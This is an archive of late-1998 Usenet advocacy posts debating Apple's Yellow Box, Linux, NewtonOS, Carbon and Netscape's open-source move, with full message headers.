> only way I can think of that HP or Sun might help Apple do a port is
> if Apple gives them QuickTime in exchange.
Huh? In that case I would forget about supporting these platforms and
instead put an extra effort behind WO, QTML and YB on Linux and offer
customers on those platforms attractive enough packages to help them
emigrate to greener pastures. Running either Mac OS X or Linux.
> >marching forward and into the consumer territory without much
> >resistance. Yellow Box and Java, together or separate, can either
> >fight it or ride it. Given open enough licencing schemes, they can
> >make Microsoft's proprietary forced-upgrade-driven model obsolete in
> >as few as five years (my layman's estimate).
>
> I don't buy the "this town ain't big enough for the two of us" logic.
> Are you saying that there is only room for _one_ os; _one_ API and
> _one_ GUI in the future? Why can't Java, YB and Linux all gain market
> share and have a future?
I wasn't implying that at all. After all, the attraction of YB and
Java is largely (mostly?) due their portability across platforms, the
significant platforms being Mac OS X, Linux and 'doze. I was referring
to the synergies that combining YB, Java and Linux - if all were to be
without tightly-coupled owner - would have together. Without some kind
of joining of forces (synergy, "network effect") these technologies
will be doomed to battle not only the Windows hegemony but each other
too - something Microsoft would love to see happen. Linux could
provide YB and Java with a neutral growing place while allowing other
OSes too benefit thanks to either easy porting or inherent platform
indepence of these technologies. With Microsoft it's all or nothing.
> >> I can't think of any commercial product that grew market share by going
> >> OpenSource.
> >Navigator/Communicator?
>
> ....lost marketshare even after it went opensource.
Think creatively. Before the NPL announcement Netscape had a very dark
future, if any future at all. They were losing marketshare at a pace
at which MS could pay/bribe the channels to switch to MSIE and as new
WIndows pre-loaded systems were entering the market. Nobody believed
they could have kept apace with MS in terms of development and
marketing resources.
Enter NPL. Without going open Netscape's marketshare would have
continued heading south but it began holding ground and some recent
pre-AOL surveys showed Netscape showing growth. Gecko, the next
generation browser engine built under NPL, is getting rave previews
and promises to keep Netscape Mozilla ahead of Microsoft in the
marketshare battle.
I attribute Netscape's holding of ground and even regaining to going
Open Source under NPL, esp. compared to where Netscape would be
without the decision. Could you perhaps be thinking of the era when
Netscape was practically the only game in town?
> >licensing issues have been solved. I could see huge benefits if the
> >Yellow Box innards were opened up to scrutiny and innovation by much
> >larger number of eyeballs. The trick is in figuring out a license that
> >both encourages participation and discourages splintering. The more YB
> >is adopted, the better changes WebObjects, or a PowerMac, has of
> >making a sale.
>
> I think making the source available to developers would be good as well,
> I just don't think it makes sense for Apple to port the UI, Tools and
> overall "look and feel" to other platforms where it would devalue those
> tools running on the native OSX platform.
After Yellow Box itself the second highest priority IMO goes to making
YB development tools available... and affordable. I can't see why
Apple couldn't sell YB enhancement packages though. PowerMacs offer
best outta-box experience and consistency, speed (G4/AltiVec), cool
design factor, classic Mac/Carbon compatibility, YB and BSD
compatibility, QTML optimization, brand-name support, Linux as an
alternative OS (with YB support available?)...
If someone opts for a cheaper (although slower) PC, or isn't ready to
dump existing Intel hardware quite yet, they could still be part of
the solution instead of problem by running YB. They'd also be an ideal
target for commercial YB enhancements. If someone wants "near-Mac OS X
-like" Yellow Box experience (there's much more to Mac OS X on
PowerMac than YB though, as I argue above) on PC Apple should be
willing to consider it a sale instead of declining it.
Thanks, btw, for your constructive criticism. These issues are very
complicated and undoubtably involve many behind-the-scenes factors we
would never have thought of. It'll be interesting to see what strategy
Apple takes regarding Yellow Box on other platforms, and in what time
frame.
Brgds,
--
taiQ
[this space is intentionally blank]
From: agave_@hotmail.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
Date: Thu, 10 Dec 1998 13:45:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74oj9d$9d9$1@nnrp1.dejanews.com>
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com>
In article <74mrpm$vqp$1@crib.corepower.com>,
nurban@vt.edu wrote:
>
> To be fair, Apple isn't yet shipping a Yellow Box development
> environment,
> and the press release mostly seems centered on what their kit offers.
> If it doesn't include Yellow tools once they're released, _then_ I'll
> worry.
>
I still wouldn't worry then... I have the impression that Yellow will
not be pushed (or even mentioned much) until after MacOS X is firmly
entrenched with Apple's current user base (sometime in 2000).
-Ian
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: eric@EMIEng.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jhendry@shrike.depaul.edu
References: <SPAMLESSforrest-0812981824360001@term6-19.vta.west.net> <19981209144308.22407.00000042@ng59.aol.com>
<366edb29.0@news.depaul.edu>
Message-ID: <366fe03c.0@nntp.mediasoft.net>
Date: 10 Dec 98 14:52:44 GMT
Jonathan W Hendry wrote:
> WillAdams wrote:
> > Apple already has a very good UI for a palmtop, the NewtonOS. It's
> > criminal that they've abandoned this customer base and platform.
>
> Criminal? Overstated a bit?
Perhaps a bit, but not nearly as much as your sarcasm eludes to.
Harris' lawsuit comes to mind.
> BTW, the Newton definitely isn't 'document based'. It's application
> based. You run and switch between apps. Documents don't exist, really.
> Which sucks, IMHO.
I think it's pretty cool actually. Even more so if I was just an average
computer user whose ease-of-use requirements were of primary concern.
What activities would you like to perform that you've had a hard time doing
under NewtonOS?
> Furthermore the Newton 'abandonment' case is still open. They've
> still got the ideas, the code, and the patents. They may not
> be producing a new Newton, but they will surely borrow
> good ideas and technology developed for the Newton.
I'd say that the facts speak strongly for "abandonment". No
they *don't* still "got the ideas", most/all of the major developers
have let long ago. They probably do have the code backed up
on tape somewhere, but not enough people know what to do with
it. As for "surely borrowing good ideas and technology developed
for the Newton", you must have forgotten that Steve Jobs runs
Apple. His knuckle-headed business acumen is well documented.
> The Newton had problems. Size. Weight. Expense. Speed (until
> the last two). Hardware and software compatability. If Apple
> can solve these problems with a new platform, then the
> Newton won't have 'died' in vain. As such, calling the
> cancellation 'criminal' looks pretty silly.
I don't think it's accurate to characterize the Newton's
size, weight, and cost as "problems". These were all necessary in
providing its incredible capabilities. Sure the Pilot products are
smaller, lighter, and cheaper, but they also provide far less capability.
Perhaps I'm lucky enough to have enough money to "get what I pay
for", but for now, I'm sticking with my MessagePad!
But getting back to the subject of GUIs :-), I second that the
NewtonOS has a very good one. Additionally, it is unbelievably
extendible! Much more so than NEXTSTEP ever was. The integration
between applications dwarfs the capabilities of our beloved "Services".
From: not@my.address.net
Newsgroups: comp.sys.next.advocacy
Subject: ROF v. EOF
Date: 8 Dec 1998 22:41:50 GMT
Organization: Arizona State University
Message-ID: <74k9ve$7ol$1@news.asu.edu>
Did anyone catch the announcement for the "Relational Object Framework" from
Watershed technologies? (www.watershed.com).
From the description on their web page, ROF sounds like EOF for the Java world.
(Watershed apparently has years of NEXTSTEP/OPENSTEP experience.)
How does the product compare with EOF 3, which shipped with WebObjects 4? Where
does this sort of competition leave EOF in the marketplace?
... Pennies for thoughts. Multiple pennies for thoughts with accompanying
explanations.
--
invert: umich.edu jdevlin
insert: shift "2"
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Business case for OpenCarbon
Date: Thu, 10 Dec 1998 11:02:14 -0500
Organization: phenix@interpath.com
Message-ID: <1djtiaa.1207g68va3z2tN@roxboro0-052.dyn.interpath.net>
References: <366DC928.16F3@bellatlantic.net> <EWpb2.1189$f97.1320@news.rdc1.sdca.home.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
Rex Riley <rr6013@yahoo.com> wrote:
> Apple going OPENSOURCE with only their "Carbon" API's is too little.
> Carbon, IIRC, are _only_ new calls implemented for the Macintosh OS to
> replace old, crufty 16bit leftover stuff from the Mac's early days. Carbon
> refers to the set of replacement calls for older programs that enable
> existing Macintosh applications to recompile to newer 32bit OSes.
> Recompiles using Carbon API's amount to an hour's work for older Macintosh
> programs.
For those of us who obeyed the rules the Mac has always been 32bit clean
(of course "us" hasn't always included apple) and for those that didn't
it was 24bit not 16 (and the OS itself has been 32bit for the last
decade).
As I understand it Carbon changes how lowmem is handled and introduces
re-entrancy into some systems (particularly the graphics system).
--
John Moreno
From: "Yan Laporte" <ylaporte@acm.org>
Newsgroups: comp.sys.next.advocacy
Subject: IB, PB included with WO??
Date: Thu, 10 Dec 1998 12:25:02 -0500
Organization: Universit=?ISO-8859-1?B?6Q==?= de Moncton
Message-ID: <74osl2$13f@sol.sun.csd.unb.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Hi,
I would like to know if the tools needed for YB development are included
with the current WebObject 4 package for NT??
In short is it possible to build apps that do not use WebObject with the
currently sold WebObject 4 package?
Thanks
Yan
ylaporte@acm.org
http://eve.info.umoncton.ca:8080/~yanl/
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Thu, 10 Dec 1998 17:08:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74ov6q$keb$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <74liso$npc$1@nnrp1.dejanews.com> <366EB82B.98E52CE7@trilithon.com> <anarkhos-ya02408000R0912981629510001@news>
In article <anarkhos-ya02408000R0912981629510001@news>,
anarkhos@anarchism.orgy (strobe) wrote:
[ ... ]
> Apple is dumping DPS. Adobe made it VERY clear they want DPS to DIE.
Right.
> Nobody is quite sure what will be used in MacOS X, however Apple made it
> clear DPS calls will not be supported.
DPS as a language (as in the PSwrap stuff) is going away. I'm pretty sure the
C libary calls will continue to exist and work-- they'll just be handled by
Apple's new drawing engine rather than DPS.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.newton.misc
Subject: Re: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
Date: 10 Dec 1998 17:02:18 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <74ouqq$a8u$1@cronkite.cs.umd.edu>
References: <SPAMLESSforrest-0812981824360001@term6-19.vta.west.net> <19981209144308.22407.00000042@ng59.aol.com> <74o8l8$13b$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 10 Dec 1998 17:02:18 GMT
Again, I'm crossposting this to comp.sys.newton.misc. Please include them
in your postings.
raxelbrof@my-dejanews.com wrote:
> The single menu bar would be an improvement on NewtonOS - whos only interface
> annoyance for me is that the menus are at the top of some app windows and at
> the bottom of others, perhaps to add to that is that on some apps (documents)
> the menus can scroll off the screen.
> NewtonOS never fails to impress me, I just loaded nHTML (HTML editor) and
> instead of having a whole seperate appi get just a tool bar that will work
> with and add to any text editor on the machine and is available as a tool to
> launch from within any text based app.
NewtOS is nifty, but it does have some huge drawbacks:
- It is single-tasking. The low-level mechanisms (the handwriting
system, the I/O subsystem, the networking system, etc.) run
in their own premptively-multitasked tasks, but *all* the user
applications are really down deep just bundled plug-ins into
a single application, the windowing system, which has a single
thread of control. It's as if all NeXTSTEP apps were just
bundles plugged into the Window Server at runtime, and only one
had control of the task at a time.
- It has no memory protection. Applications can freely reach
in and tweak variables and call arbitrary functions inside
each other. Remember, in essence, they're all just the same
program; in fact applications share the *SAME* variable name
space.
- Applications are static and can take up memory even when
they're closed.
- It is *heavily* optimized towards space-saving as opposed to
speed.
These decisions were smart ones for the time; the Newton had tight memory
requirements, low power, and small screen real estate. But as technology
advances, these decisions may be less appropriate. I'm sure Apple can do
better now
Sean Luke
seanl@cs.umd.edu
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.newton.misc
Subject: Re: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
Followup-To: comp.sys.next.advocacy,comp.sys.newton.misc
Date: 10 Dec 1998 17:38:12 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <74p0u4$qc8$1@cronkite.cs.umd.edu>
References: <SPAMLESSforrest-0812981824360001@term6-19.vta.west.net> <19981209144308.22407.00000042@ng59.aol.com> <74o8l8$13b$1@nnrp1.dejanews.com> <74ouqq$a8u$1@cronkite.cs.umd.edu>
NNTP-Posting-Date: 10 Dec 1998 17:38:12 GMT
Sean Luke (seanl@cs.umd.edu) wrote:
> NewtOS is nifty, but it does have some huge drawbacks:
One more big one: the largest integer value allowable in NewtonOS is a
mere 30 bytes long. This means that the Newton has a devastating Y2.009K
problem. Unless Avi Drissman saves our rear ends :-) all Newtons have a
hard-set lifespan ending 10 years from now.
Sean
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <19981125164702687397@ts2-33.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <19981123135142316463@ts1-43.aug.com> <365B1398.151CCDCC@spamtoNull.com> <19981124181637164651@ts1-13.aug.com> <365C5926.7E11477C@spamtoNull.com>
Date: Mon, 07 Dec 1998 15:49:36 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 00:49:36 JST
Organization: Global Online Japan
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > > >
> > >
> > >
> > > Who's old hardware is Microsoft milking?
> >
> > Um, software is technology... and Microsoft's is hardly original or
> > leading edge.
> >
>
> Yea, like Apple's OS really is...:)
Original? Very. Apple greatly improved on the ideas seen at Xerox.
Microsoft? Nothing original. Ever.
Leading edge? Well, they got the interface right the first time.. thats
why Windows is continually described as "almost" as easy to use as the
Mac.
--
Remove nojunk from my email address to reply by email.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Thu, 10 Dec 1998 18:37:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74p4d5$pf0$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <366E28DA.7541CD0B@trilithon.com> <anarkhos-ya02408000R0912980058290001@news> <74n07n$vu0$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0912981635130001@news>
In article <anarkhos-ya02408000R0912981635130001@news>,
anarkhos@anarchism.orgy (strobe) wrote:
> In article <74n07n$vu0$1@nnrp1.dejanews.com>, "Charles Swiger"
> <chuck@codefab.com> wrote:
>> Was this necessary?
>
> Was it necessary to make assumptions about my mentality, my job (or
> supposed lack thereof), and implying these made my judgement less clear, or
> even laughable? Of course this doesn't make him a moron. [ ... ]
Hmm-- seems like you're reading a little bit more into what Henry said than
need be, but you've got a point.
You know what, though? Everyone's faced with the decision whether to haul out
the flamethrower or whether to shrug off the other guy's annoying remarks and
try to come up with useful, insightful, and on-topic comments instead.
Your choice....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 10 Dec 1998 18:02:57 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Message-ID: <74p2ch$38gg@yuma.ACNS.ColoState.EDU>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be>
<SCOTT.98Dec7000502@slave.doubleu.com>
<FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com>
<BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net>
<74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com>
<74niqa$but@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
In article <74niqa$but@news1.panix.com>,
sal@panix.com (Sal Denaro) writes:
> On 9 Dec 1998 14:50:09 GMT, John Jensen <jjens@primenet.com> wrote:
>>
>>How can we be sure it didn't help? It certainly generated a lot of buzz
>>and good press at a difficult time for Netscape.
>
> IE continued to gain marketshare as Netscape lost marketshare.
Except on Linux, the only OS besides NT that is gaining marketshare.
No one can compete against MS on Windows, but by enlisting the
Open Source developers, Netscape has assured itself a growing market
for its servers for the forseeable future.
--
Larry D. Pyeatt All standard disclaimers apply.
pyeatt@cs.colostate.edu Void where prohibited.
http://www.cs.colostate.edu/~pyeatt
From: drsoran@black.ops.cia.net
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Message-ID: <73ht0a$9c2$1@csu-b.csuohio.edu>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <366a2c55.39411575@news.demon.co.uk>
User-Agent: tin/pre-1.4-980618 (UNIX) (Linux/2.1.112 (i686))
Date: Mon, 07 Dec 1998 15:49:34 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 00:49:34 JST
Organization: Global Online Japan
In comp.os.linux.advocacy Anthony Ord <nws@rollingthunder.demon.co.uk> wrote:
: On Thu, 19 Nov 1998 17:03:19 -0800, "Allan Meidlein"
: <allan.meidlein@bcstechnology.com> wrote:
:>Maybe you should realise that these requirements aren't that crazy; consider
:>for a moment that SCO UnixWare7 and Sun Solaris7 require a minimum of a
:>Pentium CPU, 32 Mb, and 0.5 - 1 Gb of disk space. And these are the BARE
:>minimum; using the CDE ( Common Desktop Environment ) with 32 Mb is
:>agonising If you're suggesting that these requirements are the result of
:>"bloated code," then how does one explain the requirements for Unix
:>servers?? Deal with it; the days of 16 Mb and Pentiums were over long ago.
: ^^^^^^^
: Are we seeing the magic word? The 32Mb is for the *personal* version.
: To boot. You will have to add memory for your applications on top of
: that.
Hmm. My SS5-85 has 32 megs of ram and it runs Solaris 2.6
along with CDE just fine. Sure, 64 megs of ram would be nice when
running Netscape but it is by no means "agonising". :-)
--
-----------------------------------------------------------------------
drsoran@black.ops.cia.net | "Don't worry about the price,
Blinky lights are the essence of | we'll just print more."
modern technology! | Caffeine underflow (brain dumped)
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 10 Dec 98 20:41:20 GMT
On Thu, 10 Dec 1998 04:33:29, sal@panix.com (Sal Denaro) thought
aloud:
> On 9 Dec 98 18:05:19 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >And of course, YB for Linux commercial packages with Apple Seal Of
> >Approval And Compatibility.
>
> And what is the difference between an Apple version of Linux running
> YB and an Apple version of BSD (based on the OpenSourced BSD4.4 code
> that is also using in FreeBSD/NetBSD and OpenBSD (as well as BSDI,
> AIX and a few other Unix OS products)) running YB?
Eh, I'll try... the former allows users to run YB apps under Linux
environment while the latter does the same but under Apple's version
of BSD (background check above) environment instead.
Now tell me, what kind of differences between Linux and the BSD-based
environments are you looking for, and what's the relevance of it?
> Is the ability to point to your box and say it is running Linux more
> important than the ability to point to your box and say that it running
> an open standards based Unix OS?
I don't personally use such pointing abilities. But at the moment it
certainly looks like Linux has considerably more momentum and
mindshare than some/any other "open standards based Unix OS". Linux is
fast becoming some sort of "cross-*nix" compatibility target even to
"competing Unix vendors", meaning that practically all new *nix apps
will come in a Linux version as well. Better app support, wider
hardware support, quickly improving OS, gimme Linux. You want one of
the *BSD's? That's perfectly okay with me.
Rgds,
--
taiQ
[this space is intentionally blank]
From: bholderness@erols.remove.this.com (WIlliam Holderness)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 10 Dec 1998 17:39:14 -0500
Organization: IMPACT
Message-ID: <bholderness-1012981739150001@207-172-95-200.s9.as2.dwt.erols.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982332450001@news> <bholderness-0912981333440001@207-172-95-190.s63.as1.dwt.erols.com> <1djrups.7wyjag1f708byN@roxboro0-007.dyn.interpath.net>
NNTP-Posting-Date: 10 Dec 1998 22:05:54 GMT
But the Mac OS IS short of applications, or, at least that is the
reasoning behind the NT justification of most IS managers. So no mater if
it is actual or percived, making YB THE defacto standard for portable
compiled applications would benifit Apple greatly.
Rest assured that Carbonized versions of AppleWorks & FileMaker allready
exist, Carbonizing most apps is a no brainer. As for Emailer we can only
hope (allthough it runs in BB).
I don't think that there will be a rush of MacOS API to YB ports, firstoff
there is not a burning reason to do so. Second, hundreds of thousands (or
even millions on the larger apps) of lines of code are EXPENSIVE to
rewrite. I don't think untill there is a from scratch re-write that most
apps will get moved to YB.
My original point was Apple & Apple users gain little or nothing from a
Carbon for (Intel) Linux and that it would be dificult to do (though some
of the StarWars code might be able to be used). YB for Linux would be
relativly simple and would yield great benifits, both actual & percived,
for Apple users & Apple.
Bill Holderness
IMPACT
From: r.e.ballard@usa.net
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Thu, 10 Dec 1998 22:01:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74pgca$4kh$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76oqkr.ft.davecook@sputnik.escnd1.sdca.home.com> <slrn76org1.ft.davecook@sputnik.escnd1.sdca.home.com> <74htci$jm$1@camel21.mindspring.com>
In article <74htci$jm$1@camel21.mindspring.com>,
Matthew Cromer <matthew_cromer@iname.com> wrote:
> In article <74h049$p8f$1@nnrp1.dejanews.com> Charles Swiger,
> chuck@codefab.com writes:
> >Yeah, and it also has a development community that, for the most part, has
> >never worked on a large project, and have no idea why writing 10,000 lines of
> >code is more difficult than writing ten 1000 LOC projects.
> >
> >In case you don't get this point, can you name, specificly, a medium to large
> >project written in VB that was delivered on-time, on-budget, and successfully
> >fulfilled the original requirements?
>
> Let's skip the general insults.
>
> I'm working on a ~10K LOC ap in VB, and things are going fine.
What I usually here from VB programmers and project managers is that
"were 90% complete" starting at about the 80% point of the project.
When the integration testing, stress testing, and preproduction testing
start, very little thought has even been given as to how to generate a
significant load. The applications are so tightly coupled to the GUIs
that it is impossible to simulate a traffic load to a server without
simulating input to the windows controls. Often, this results in tests
that "play to the cache".
> I've already said I think YB is a better designed environment.
VB is a nice tool for creating forms, even complex forms. When VB is
used to dynamically make dozens of method calls to remote servers every
time the user clicks a checkbox, enters text, or toggles a radio button
(yes, I have seen people do this), what could have been a 2-3 call transaction
becomes a 10-15 call transaction. Before long, you are bringing an NT server
to it's knees with GUI-happy ODBC calls.
The other "dark alley full of bad dudes" is when you start making third
party components part of your project. The components often bring in
their own version of a DLL or OCX file, or use their own precompiled
DCOM hash ids (that conflict with yours). They call into MFC primatives
that bypass their threadsafe DCOM APIs. Race conditions don't start
showing up until production. Suddenly you have a dozen race conditions
you can't trace, in OCX files, --- BLUE SCREEN OF DEATH.
> MC
--
Rex Ballard - Open Source Advocate, Internet Architect, MIS Director
http://www.open4success.com
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <adtF3rtpr.Gxq@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
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Date: Thu, 10 Dec 1998 22:41:51 GMT
Sender: adt@netcom19.netcom.com
taiQ (pit@iohk.SPAM-NOT.com) wrote:
: sal@panix.com (Sal Denaro) thought aloud:
: > Is the ability to point to your box and say it is running Linux more
: > important than the ability to point to your box and say that it running
: > an open standards based Unix OS?
:
: I don't personally use such pointing abilities. But at the moment it
: certainly looks like Linux has considerably more momentum and
: mindshare than some/any other "open standards based Unix OS" ...
It's true that the business folks are now becoming aware of Linux, but
this pales in comparison to the fact that the business folks have been
using NeXTSTEP for years. Rhapsody/MacOS X being clearly derived from
NeXTSTEP is more advantageous in the business world.
Regarding more casual users, I think that Linux advocates tend to
seriously overestimate the degree that users care where capabilites come
from. If Apple delivers the power of UNIX with a MacOS GUI, the ability to
run UNIX apps/tools alongside shrinkwrapped retail apps, then I think such
users will be happy.
: ... Linux is
: fast becoming some sort of "cross-*nix" compatibility target even to
: "competing Unix vendors", meaning that practically all new *nix apps
: will come in a Linux version as well ...
Please note your 'as well'. If the apps also run on Rhapsody/MacOS X that
is all that matters. Also note that Apple may very well become the
dominant UNIX vendor as they already have become the dominant RISC vendor.
In any case when MacOS X is the shipping OS on all Macs then UNIX app
vendors are sure to go after this huge potential market of end users. Note
my use of 'end users'. The general interest in Linux you've referred to
may be more for servers than end user workstations.
: ... Better app support, wider
: hardware support, quickly improving OS, gimme Linux. You want one of
: the *BSD's? That's perfectly okay with me.
'wider hardware support', that is Apple's fear. :-)
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 10 Dec 1998 18:12:28 -0500
Organization: phenix@interpath.com
Message-ID: <1dju1kh.1v278mr4j9uioN@roxboro0-003.dyn.interpath.net>
